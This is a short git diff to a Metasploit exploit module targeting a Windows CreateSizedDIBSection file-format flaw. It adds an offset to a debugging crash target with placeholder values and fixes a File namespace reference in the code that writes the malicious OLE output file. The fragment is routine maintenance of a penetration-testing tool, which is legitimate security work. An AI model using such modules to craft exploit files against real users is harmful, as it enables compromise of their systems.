diff --git a/modules/exploits/windows/fileformat/ms11_xxx_createsizeddibsection.rb b/modules/exploits/windows/fileformat/ms11_xxx_createsizeddibsection.rb index 65d347c0df..974f2da658 100644 --- a/modules/exploits/windows/fileformat/ms11_xxx_createsizeddibsection.rb +++ b/modules/exploits/windows/fileformat/ms11_xxx_createsizeddibsection.rb @@ -99,6 +99,7 @@ class Metasploit3 < Msf::Exploit::Remote # crash on a deref path to heaven. [ 'Crash Target for Debugging', { + 'Offset' => 1337, 'Ret' => 0xdac0ffee } ] @@ -116,7 +117,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("Creating '#{datastore['FILENAME']}' file ...") - out = File.expand_path(File.join(datastore['OUTPUTPATH'], datastore['FILENAME'])) + out = ::File.expand_path(::File.join(datastore['OUTPUTPATH'], datastore['FILENAME'])) stg = Rex::OLE::Storage.new(out, Rex::OLE::STGM_WRITE) if (not stg) raise RuntimeError, 'Unable to create output file'